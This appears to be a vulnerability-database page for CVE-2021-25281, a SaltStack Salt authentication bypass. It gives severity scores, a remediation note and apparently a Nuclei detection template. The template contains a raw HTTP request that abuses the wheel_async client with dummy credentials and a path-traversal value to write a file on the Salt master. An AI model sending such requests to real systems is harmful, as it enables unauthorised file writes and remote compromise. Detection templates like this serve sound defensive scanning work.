9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.874 High
EPSS
Percentile
98.6%
SaltStack Salt before 3002.5 does not honor eauth credentials for the wheel_async client, allowing attackers to remotely run any wheel modules on the master.
id: CVE-2021-25281
info:
name: SaltStack Salt <3002.5 - Auth Bypass
author: madrobot
severity: critical
description: SaltStack Salt before 3002.5 does not honor eauth credentials for the wheel_async client, allowing attackers to remotely run any wheel modules on the master.
remediation: |
Upgrade to SaltStack Salt version 3002.5 or later to mitigate this vulnerability.
reference:
- http://hackdig.com/02/hack-283902.htm
- https://dozer.nz/posts/saltapi-vulns
- https://nvd.nist.gov/vuln/detail/CVE-2021-25281
- https://github.com/saltstack/salt/releases
- https://www.saltstack.com/blog/active-saltstack-cve-announced-2021-jan-21/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-25281
cwe-id: CWE-287
epss-score: 0.87406
epss-percentile: 0.98556
cpe: cpe:2.3:a:saltstack:salt:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: saltstack
product: "salt"
tags: cve,cve2021,saltapi,rce,saltstack,unauth
http:
- raw:
- |
POST /run HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"client":"wheel_async","fun":"pillar_roots.write","data":"testing","path":"../../../../../../../tmp/testing","username":"1","password":"1","eauth":"pam"}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "return"
- "tag"
- "jid"
- "salt"
- "wheel"
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022024b1fa47aa40900fc6d2780d4b058e73c105e0afea27957c4b13eaa9d832e518022100b564558f8322ff1be933b2018a3a2ec91219e0e1399b633b02e3d65ea0349af4:922c64590222798bb761d5b6d8e72950
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.874 High
EPSS
Percentile
98.6%